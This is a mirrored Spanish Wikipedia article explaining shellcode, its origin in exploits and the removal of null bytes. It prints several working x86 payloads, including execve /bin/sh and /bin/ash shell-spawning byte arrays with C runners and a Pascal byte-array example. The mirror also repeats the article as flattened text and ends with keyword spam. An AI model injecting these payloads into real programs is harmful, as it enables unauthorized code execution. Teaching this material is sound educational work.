fbpx
Wikipedia

Shellcode

Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes (conjunto de valores hexadecimales) que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.

Término

El término shellcode deriva de su propósito general, esto era una porción de un exploit utilizada para obtener una shell. Este es actualmente el propósito más común con que se utilizan.

Ejemplo de shellcode en Pascal

Para ejecutar una shellcode generalmente suele utilizarse un lenguaje de más alto nivel, como es el caso del lenguaje Pascal. Los opcodes obtenidos de nuestro código ensamblador son enlistados en una matriz de tipo byte y cargado en un prototipo para ser invocado.

Un ejemplo de un shellcode es el siguiente:

 Prototipo Ejec ' Variables. Var ShellCode[]:Byte ' Matriz de byte para los OpCode.. Var Prototípo:Ejec ' Prototipo que ejecutara el ShellCode. ' Inicializamos/cargamos el ShellCode. ShellCode = [&31,&d2,&b2,&30,&64,&8b,&12,&8b,&52,&0c,&8b,&52,&1c,&8b,&42 _ ,&08,&8b,&72,&20,&8b,&12,&80,&7e,&0c,&33,&75,&f2,&89,&c7,&03 _ ,&78,&3c,&8b,&57,&78,&01,&c2,&8b,&7a,&20,&01,&c7,&31,&ed,&8b _ ,&34,&af,&01,&c6,&45,&81,&3e,&46,&61,&74,&61,&75,&f2,&81,&7e _ ,&08,&45,&78,&69,&74,&75,&e9,&8b,&7a,&24,&01,&c7,&66,&8b,&2c _ ,&6f,&8b,&7a,&1c,&01,&c7,&8b,&7c,&af,&fc,&01,&c7,&68,&79,&74 _ ,&65,&01,&68,&6b,&65,&6e,&42,&68,&20,&42,&72,&6f,&89,&e1,&fe _ ,&49,&0b,&31,&c0,&51,&50,&ff,&d7] 'Le establecemos al prototipo código para ejecutar. Prototípo@ = ShellCode[0]@ ' Ejecutamos el ShellCode. Prototípo 

Como se puede apreciar, los opcodes son valores hexadecimales que son convertidos a bytes (valores enteros entre 0 a 255) y que el sistema operativo comprende como código ensamblador que ejecuta.

Ejemplo de shellcode en C

En el siguiente ejemplo se muestra una shellcode contenida en un array de un programa escrito en lenguaje C:

char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb0\x46" /* movl $0x46,%al */ "\xcd\x80" /* int $0x80 */ "\x50" /* pushl %eax */ "\x68""/ash" /* pushl $0x6873612f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ;

Así tenemos que una shellcode es código máquina escrito en notación hexadecimal. Posteriormente se utilizan dentro de programas escritos en C, como en el siguiente shellcode de ejemplo:

// shellcode.c // compilar con gcc shellcode.c -o shellcode void main() { ((void(*)(void)) { "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9" "\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31" "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff" "\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68" "\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e" "\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e" "\x63\x6c\x20\x3d\x29" } )(); }

O este otro:

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" "\x0b\xcd\x80"; int main() { void (*fp)(); fp = (void*) &shellcode; fp(); } 

Información

Las shellcodes deben ser cortas para poder ser inyectadas dentro de la pila, que generalmente suele ser un espacio reducido.

Las shellcodes se utilizan para ejecutar código aprovechando ciertas vulnerabilidades en el código llamadas desbordamiento de búfer. Principalmente el shellcode se programa para permitir ejecutar un intérprete de comandos en el equipo infectado.

Es común que en la compilación de una shellcode se produzcan bytes nulos, los cuales deben ser eliminados de la misma, ya que frenarían la ejecución de la shellcode. Para ello el programador se vale de diversas técnicas, como reemplazar las instrucciones que genera bytes NULL por otras que no lo hagan o realizar una operación XOR, mover hacia registros más pequeños (como AH, AL), y de esta forma permitir que la shellcode sea realmente inyectable.

Véase también

  •   Datos: Q1152477

shellcode, shellcode, conjunto, órdenes, programadas, generalmente, lenguaje, ensamblador, trasladadas, opcodes, conjunto, valores, hexadecimales, suelen, inyectadas, pila, stack, ejecución, programa, para, conseguir, máquina, reside, ejecute, operación, haya,. Una shellcode es un conjunto de ordenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes conjunto de valores hexadecimales que suelen ser inyectadas en la pila o stack de ejecucion de un programa para conseguir que la maquina en la que reside se ejecute la operacion que se haya programado Indice 1 Termino 2 Ejemplo de shellcode en Pascal 3 Ejemplo de shellcode en C 4 Informacion 5 Vease tambienTermino EditarEl termino shellcode deriva de su proposito general esto era una porcion de un exploit utilizada para obtener una shell Este es actualmente el proposito mas comun con que se utilizan Ejemplo de shellcode en Pascal EditarPara ejecutar una shellcode generalmente suele utilizarse un lenguaje de mas alto nivel como es el caso del lenguaje Pascal Los opcodes obtenidos de nuestro codigo ensamblador son enlistados en una matriz de tipo byte y cargado en un prototipo para ser invocado Un ejemplo de un shellcode es el siguiente Prototipo Ejec Variables Var ShellCode Byte Matriz de byte para los OpCode Var Prototipo Ejec Prototipo que ejecutara el ShellCode Inicializamos cargamos el ShellCode ShellCode amp 31 amp d2 amp b2 amp 30 amp 64 amp 8b amp 12 amp 8b amp 52 amp 0c amp 8b amp 52 amp 1c amp 8b amp 42 amp 08 amp 8b amp 72 amp 20 amp 8b amp 12 amp 80 amp 7e amp 0c amp 33 amp 75 amp f2 amp 89 amp c7 amp 03 amp 78 amp 3c amp 8b amp 57 amp 78 amp 01 amp c2 amp 8b amp 7a amp 20 amp 01 amp c7 amp 31 amp ed amp 8b amp 34 amp af amp 01 amp c6 amp 45 amp 81 amp 3e amp 46 amp 61 amp 74 amp 61 amp 75 amp f2 amp 81 amp 7e amp 08 amp 45 amp 78 amp 69 amp 74 amp 75 amp e9 amp 8b amp 7a amp 24 amp 01 amp c7 amp 66 amp 8b amp 2c amp 6f amp 8b amp 7a amp 1c amp 01 amp c7 amp 8b amp 7c amp af amp fc amp 01 amp c7 amp 68 amp 79 amp 74 amp 65 amp 01 amp 68 amp 6b amp 65 amp 6e amp 42 amp 68 amp 20 amp 42 amp 72 amp 6f amp 89 amp e1 amp fe amp 49 amp 0b amp 31 amp c0 amp 51 amp 50 amp ff amp d7 Le establecemos al prototipo codigo para ejecutar Prototipo ShellCode 0 Ejecutamos el ShellCode Prototipo Como se puede apreciar los opcodes son valores hexadecimales que son convertidos a bytes valores enteros entre 0 a 255 y que el sistema operativo comprende como codigo ensamblador que ejecuta Ejemplo de shellcode en C EditarEn el siguiente ejemplo se muestra una shellcode contenida en un array de un programa escrito en lenguaje C char shellcode x31 xc0 xorl eax eax x31 xdb xorl ebx ebx x31 xc9 xorl ecx ecx xb0 x46 movl 0x46 al xcd x80 int 0x80 x50 pushl eax x68 ash pushl 0x6873612f x68 bin pushl 0x6e69622f x89 xe3 movl esp ebx x50 pushl eax x53 pushl ebx x89 xe1 movl esp ecx xb0 x0b movb 0x0b al xcd x80 int 0x80 Asi tenemos que una shellcode es codigo maquina escrito en notacion hexadecimal Posteriormente se utilizan dentro de programas escritos en C como en el siguiente shellcode de ejemplo shellcode c compilar con gcc shellcode c o shellcode void main void void xeb x19 x31 xc0 x31 xdb x31 xd2 x31 xc9 xb0 x04 xb3 x01 x59 xb2 x21 xcd x80 x31 xc0 xb0 x01 x31 xdb xcd x80 xe8 xe2 xff xff xff x76 x69 x73 x69 x74 x61 x20 x68 x74 x74 x70 x3a x2f x2f x68 x65 x69 x6e x7a x2e x68 x65 x72 x6c x69 x74 x7a x2e x63 x6c x20 x3d x29 O este otro char shellcode x31 xc0 x50 x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x53 x89 xe1 xb0 x0b xcd x80 int main void fp fp void amp shellcode fp Informacion EditarLas shellcodes deben ser cortas para poder ser inyectadas dentro de la pila que generalmente suele ser un espacio reducido Las shellcodes se utilizan para ejecutar codigo aprovechando ciertas vulnerabilidades en el codigo llamadas desbordamiento de bufer Principalmente el shellcode se programa para permitir ejecutar un interprete de comandos en el equipo infectado Es comun que en la compilacion de una shellcode se produzcan bytes nulos los cuales deben ser eliminados de la misma ya que frenarian la ejecucion de la shellcode Para ello el programador se vale de diversas tecnicas como reemplazar las instrucciones que genera bytes NULL por otras que no lo hagan o realizar una operacion XOR mover hacia registros mas pequenos como AH AL y de esta forma permitir que la shellcode sea realmente inyectable Vease tambien EditarSeguridad informatica Inseguridad informatica Desbordamiento de bufer Desbordamiento de pila HoF Exploit Bug Subdesbordamiento de bufer Datos Q1152477 Obtenido de https es wikipedia org w index php title Shellcode amp oldid 136582108, wikipedia, wiki, leyendo, leer, libro, biblioteca,

español

, española, descargar, gratis, descargar gratis, mp3, video, mp4, 3gp, jpg, jpeg, gif, png, imagen, música, canción, película, libro, juego, juegos